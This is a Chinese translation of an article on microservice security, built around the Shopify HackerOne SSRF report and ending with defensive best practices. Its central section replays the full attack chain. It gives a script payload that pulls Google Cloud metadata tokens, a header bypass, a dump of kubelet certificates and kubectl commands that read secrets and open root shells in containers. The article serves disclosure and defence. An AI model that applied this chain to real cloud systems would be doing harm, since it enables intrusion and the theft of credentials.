【51CTO.com快译】对于一些大型服务架构而言,微服务的安全性在它们所面临的诸多攻击因素中显得尤为重要。本文将和您讨论如何在生产环境中防范各种入侵,以保障整体安全。同时,我将介绍一些实用的方法,以应对通用的微服务安全问题。您可以通过采用这些技术和方法,来轻松地加固各类微服务应用。
另外,我将模拟从公有云服务器实例的单入口,入侵Shopify(译者注:加拿大电商软件平台)的微服务实例,并访问到其元数据为例,来探讨微服务部署和开发过程中的最佳实践。
概述
让我们首先来浏览一下微服务的架构特点,和它被用来进行应用开发的过程中,所面对的一系列安全问题。
微服务的一般特性
- 解耦的组件
- 增加的复杂性
- 固定的架构
- 更短的开发周期
- 最小化依赖项和共同关注点
- 小而集中
- 相关服务之间的数据约定
- 对某个特定技术栈的依赖
- 良好的集成测试,减少了安全漏洞
由于开发人员对于AppSec(应用安全)的意识较为薄弱,甚至是对于通用应用安全规范的无视,他们可能会从如下方面增加微服务安全的复杂度与挑战:
- 分段和隔离
- 多云环境的部署,增加了资产安全的管理成本
- 身份管理和访问控制
- 数据与消息的完整性
- 频繁的变更与淘汰周期
上述与微服务架构相关的因素,都会导致其整体潜在攻击面的扩大增加。而随着服务和资产数量的增加,其风险因素也会大为增多。因此,我们有必要通过定期的代码审查和安全审计,来解决上述提到的各种开发与部署过程中的问题。
微服务的AppSec
许多公司对AppSec(应用安全)都缺乏重视,他们仅仅依靠一些自动化的漏洞扫描工具,和被动式的威胁建模,来检查各种安全配置上的错误,并测试其基于微服务应用的安全态势。显然,这些都无法有效地应对真实环境中的复杂入侵与威胁。
因此开发人员稍有不慎,就可能给应用在整体层面上留下可以被利用和入侵的各种安全漏洞。这正是为什么我们需要不断地修正自己的开发方式,进而在组织内部通过采用AppSec的最佳实践,以保证微服务安全态势的原因。
我们应当将下列技术与实践,严格地贯彻到微服务的开发和部署之中,以确保交付产品的安全可靠,且符合业界规定的各种安全实践标准。
持续安全
人们经常不得不为自己所忽视的安全而“买单”。因此,持续安全的目标就是要通过定期测试微服务应用的安全性,来降低整体成本与开销。而实现持续安全的最好方法便是DevSecOps,它包括了持续的安全测试,和精细的内、外部审计。我们需要通过模拟从不同攻击者的角度,来分析微服务可能会受到哪些方面的入侵,定位其自身可能存在的漏洞,从而将各种问题防范于未然。
方法
- 内部测试(主要是漏洞被利用之后的阶段)
- 外部测试
下面,我们针对上述方法,来讨论持续安全的具体“落地”。
案例探究(Shopify)
“据@0xacb的报告:虽然Shopify基础架构已被隔离成了多个子集,但是通过Shopify交易平台上的截屏功能,攻击者可能利用服务器端请求伪造(request forgery)的bug,来获得对于某个子集内任何容器的root访问权限。在接报的一小时后,我们停止了存在漏洞的服务,并审核了所有子集中的应用,进而对整体基础架构实施了应急补救。存在该漏洞的子集并不包括Shopify的核心。在审核了所有的服务之后,我们通过部署元数据隐藏代理(metadata concealment proxy)的方式,禁用了对于元数据信息的访问,进而修复了该bug。另外在架构内所有子集中,我们也禁用了通过内部IP地址的直接访问。鉴于该子集内的一些应用确实有可能会访问到Shopify的核心数据和系统,我们特为此核心远程代码执行漏洞(Core RCE),设置$25000奖金。”
以上便是Shopify在Hackerone(译者注:全球最大的漏洞众测平台)中发布的,其针对该事件的奖赏计划。
根据该报告,我们能够得出这样的结论:即使是应用端的漏洞,也会导致服务器受到入侵的威胁。撇开此类攻击的复杂性不谈,该漏洞还是非常容易被利用的。通常情况下,攻击者会利用一个非常简单的SSRF(Server-Side Request Forgery,服务器端请求伪造)来攻击该漏洞,从而访问到主实例(master instance)的元数据,然后进一步获取那些运行在谷歌云平台上,其他存在同类漏洞的实例的room访问权限。
Shopify的“入侵链”
下面让我们来探讨一下攻击者将如何通过该漏洞,来获取所有Shopify实例的root访问权限。
注:由于源自真实的环境,所以我们在此用████隐去了一些敏感信息。
1. 访问谷歌云的元数据
- 新建一个店铺(partners.shopify.com)。
- 编辑模板:password.liquid,并添加如下内容:
- <script>
- window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
- // iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.
- </script>
虽然查找谷歌云实例中的各个SSRF需要用到一种特殊的包头,但是我发现可以采用一个非常简单的方法来“绕过”它:由于/v1beta1端点仍然可用,就算不需要Metadata-Flavor: Google的包头,仍然可返回相同的token(令牌)。
我曾试图截获更多的数据,但是网络截图软件无法根据application/text的响应,产生任何图像。不过我发现:可以通过添加参数alt=json,以强制让application/json做出响应。因此我设法截获了更多的数据,包括:SSH公共密钥(带有电子邮件地址)、项目名称(█████)、和实例名称等:
- <script>
- window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
- </script>
那么我可以使用截获的token来添加自己的SSH密钥吗?答案是:不可以。
- curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'
- {
- "error": {
- "errors": [
- {
- "domain": "global",
- "reason": "forbidden",
- "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'"
- },
- {
- "domain": "global",
- "reason": "forbidden",
- "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"
- }
- ],
- "code": 403,
- "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'"
- }
- }
我全面检查了该token,它并没有对Compute Engine API(译者注:一种谷歌的API)进行读与写的访问。
- curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████"
- {
- "issued_to": "███████",
- "audience": "███",
- "scope": "https://www.googleapis.com/auth/cloud-platform",
- "expires_in": 1307,
- "access_type": "offline"
- }
2. 转存kube-env
我创建了一个新的店铺
(http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json),并递归地“拉取出”该实例的各项属性。
由于元数据隐藏
(https://hackerone.com/redirect?signature=800d1491927edd8ed19a6b370a10349a205df89f&url=https%3A%2F%2Fcloud.google.com%2Fkubernetes-engine%2Fdocs%2Fhow-to%2Fmetadata-concealment)未被开启,因为我能够获取到kube-env属性。
另外,由于图像已被损坏,因此我针对
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json创建了一个新的请求,以查看Kubelet证书的剩余部分,及其私钥。
ca.crt(译者注:ca证书文件)
- -----BEGIN CERTIFICATE-----
- ██████
- ███████
- ███████
- ████████
- ██████████████
- ████████
- ████████
- ███████
- ████
- ██████
- ███
- █████████
- ████
- ████
- ████████
- ███████
- ███
- -----END CERTIFICATE-----
client.crt(译者注:client端证书文件)
- -----BEGIN CERTIFICATE-----
- █████
- ███████
- ██████
- ████████
- ██████████
- █████
- ██████
- █████
- █████
- ██████████
- ███████
- █████
- ████
- ████
- ████████
- ████████
- -----END CERTIFICATE-----
client.pem(译者注:采用Base64 编码的client端文件,存储证书+密钥)
- -----BEGIN RSA PRIVATE KEY-----
- █████████
- ██████
- ████████
- ████
- ████
- █████████
- ██████████
- ██████
- ████████
- █████████
- ██████
- ██████████
- ███
- ██████████
- ███
- ██████
- █████████
- ████████
- ██████████
- █████████
- ████
- ████
- ████████
- ████
- ███████
- -----END RSA PRIVATE KEY-----
至此,我得到了MASTER_NAME:█████
3. 使用Kubelet执行任意命令
在此,我们可以列出所有的pods:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces
- NAMESPACE NAME READY STATUS RESTARTS AGE
- ████████ ██████████ 1/1
也可以创建新的pods:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml
- pod "shell-demo" created
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo
- pod "shell-demo" deleted
由于我无法确定自己是否能以用户████████的身份,去删除其正在运行的pods。因此,我无法在这个新的pod或其他pod中执行任何命令:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash
- Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"
虽然get secrets命令没有起到效果,但是它能够根据给定的pod,运用其名称来获取密钥。我正好运用实例名████,从名称空间████中,截获到了kubernetes.io服务帐号的token:
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████
- Name: ████████
- Namespace: ██████
- Node: ██████████
- Start Time: Fri, 23 Mar 2018 13:53:13 +0000
- Labels: █████
- ████
- █████
- Annotations: <none>
- Status: Running
- IP: █████████
- Controlled By: █████
- Containers:
- default-http-backend:
- Container ID: docker://███
- Image: ██████
- Image ID: docker-pullable://█████
- Port: ████/TCP
- Host Port: 0/TCP
- State: Running
- Started: Sun, 22 Apr 2018 03:23:09 +0000
- Last State: Terminated
- Reason: Error
- Exit Code: 2
- Started: Fri, 20 Apr 2018 23:39:21 +0000
- Finished: Sun, 22 Apr 2018 03:23:07 +0000
- Ready: True
- Restart Count: 180
- Limits:
- cpu: 10m
- memory: 20Mi
- Requests:
- cpu: 10m
- memory: 20Mi
- Liveness: http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
- Environment: <none>
- Mounts:
- ██████
- Conditions:
- Type Status
- Initialized True
- Ready True
- PodScheduled True
- Volumes:
- ██████████:
- Type: Secret (a volume populated by a Secret)
- SecretName: ███████
- Optional: false
- QoS Class: Guaranteed
- Node-Selectors: <none>
- Tolerations: node.kubernetes.io/not-ready:NoExecute for 300s
- node.kubernetes.io/unreachable:NoExecute for 300s
- Events: <none>
- $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml
- apiVersion: v1
- data:
- ca.crt: ██████████
- namespace: ████
- token: ██████████==
- kind: Secret
- metadata:
- annotations:
- kubernetes.io/service-account.name: default
- kubernetes.io/service-account.uid: ████
- creationTimestamp: 2017-01-23T16:08:19Z
- name:█████
- namespace: ██████████
- resourceVersion: "115481155"
- selfLink: /api/v1/namespaces/████████/secrets/████
- uid: █████████
- type: kubernetes.io/service-account-token
最后如下所示,我就能使用该token从任意容器中获取shell了。
- $ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash
- Defaulting container name to web.
- Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
- ███████:/# id
- uid=0(root) gid=0(root) groups=0(root)
- █████:/# ls
- app boot dev exec key lib64 mnt proc run srv start tmp var
- bin build etc home lib media opt root sbin ssl sys usr
- ███████:/# exit
- $ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash
- Defaulting container name to web.
- Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod.
- root@████:/# id
- uid=0(root) gid=0(root) groups=0(root)
- root@████:/# ls
- app boot dev exec key lib64 mnt proc run srv start tmp var
- bin build etc home lib media opt root sbin ssl sys usr
- root@█████:/# exit
影响程度:严重
黑客们可以根据相关的上下文信息,采用服务器端请求伪造(SSRF)来入侵上述漏洞。同时,他们会给目标系统带来如下影响:
- 绕过网络访问控制,能够截获内部服务吗?
- 是的。
- 什么样的内部服务能被访问?
- 谷歌云的元数据。
- 带来何种安全影响?
- RCE(远程代码执行)。
保障微服务安全的最佳实践
通过上述Shopify案例,我们可以学到:
(1) 用户身份管理、授权和访问控制。我们的首要任务应该是:设置适当的访问控制和用户权限。其中,我们可以使用OAuth2来进行用户授权的管控。您可按需使用访问控制,来对不同类型的用户组进行访问级别和权限范围的设置。例如:您可以采用诸如JWT(基于认证的JSON Web Token)、JJWT(Java JWT,请参考https://github.com/jwtk/jjwt)等第三方的服务架构来实现认证,使用SSO来处理授权问题。另外,您也可以参照SAML和LDAP进行身份验证。
(2) 根据TOTP(time-based one-time password,基于时间的一次性密码)启用2FA(two-factor authentication,双因素认证)。这是另一种很好的方法。它能够像第二道防线那样,去弥补JWT自身的各种漏洞,以及处理验证过程中的疏漏。其代表方式是实施GoogleAuth库(请参考https://github.com/wstrange/GoogleAuth)。
(3) 不要以明文或纯文本的形式存储敏感数据。请选用libsodium服务(https://github.com/jedisct1/libsodium),对数据进行加、解密。此外,千万不要采用某种尚处于测试阶段的加密算法,因为它们往往可能捆绑了某些框架,或潜在着各种未知的漏洞。
(4) 使用API网关隔离各种资源。您可以使用各种第三方的API网关来达到此效果。
(5) 分离各种API和内部组件,以减少暴露的被攻击面。
(6) 为了基于REST-API安全,请持续关注每年底更新的OWASP Top 10,并做好自身的漏洞彻审。如前文所述的SSRF,如果我们处置不当,将会带来RCE的隐患。此法有助于发现一些常见的Web应用漏洞。
(7) 如果部署并使用云平台,请为帐号和实例配置访问控制。通常情况下,服务器实例的元数据是开放性的;而隶属于特定微服务的AWS object buckets(对象存储空间)也同样是开放性的。因此我们要通过ACL,来防范它们在最坏情况下被公布于世。正如上述Shopify案例那样,攻击者通过利用漏洞,获取root访问权限,来进一步截获与服务器实例有关的敏感元数据。
(8) 对通用序列化(Common serialization)与反序列化(deserialization),基于SQLi漏洞的防范。我们特别要注意那些不安全的反序列化,它们可能会导致包括RCE在内的许多严重漏洞。因此,我们需要及时通过热补丁程序(hotfix)来对用户的输入实施审查和“消毒”。例如:Kryo(译者注:一种快速高效的Java对象图形序列化架构)就存在着尚未修复的反序列化漏洞,请参见:https://github.com/EsotericSoftware/kryo/issues/398。
- Ø Spark SQL
- Ø Kafka + Spark Serialization
(9) 认证,我们可以采用如下的身份验证APIs(各种架构和服务):
- 使用Cognito + AWS API网关来处理繁琐的认证:Cognito使用证书、MFA等来处理认证问题;API网关检查访问的token、JWT、以及授权。
- 在各个服务之间,采用基于角色的限制。
- 通过要求对每个请求进行签名,以增加额外的认证保护层。
- 将Lambda的各个函数整合到hook进程之前和之后:您可以使用各种Swagger文件;也可以参考https://github.com/iheartradio/play-swagger,来为自己的架构轻松产生各种Swagger文件。
(10) 切勿将敏感键值或信息存放到环境变量之中。这些信息可能会在某些情况下暴露在应用程序的日志中,或是被其他服务无意中访问到,从而带来安全隐患。
原文标题:How to Secure Your Microservices — Shopify Case Study,作者:Arif Khan
【51CTO译稿,合作站点转载请注明原文译者和出处为51CTO.com】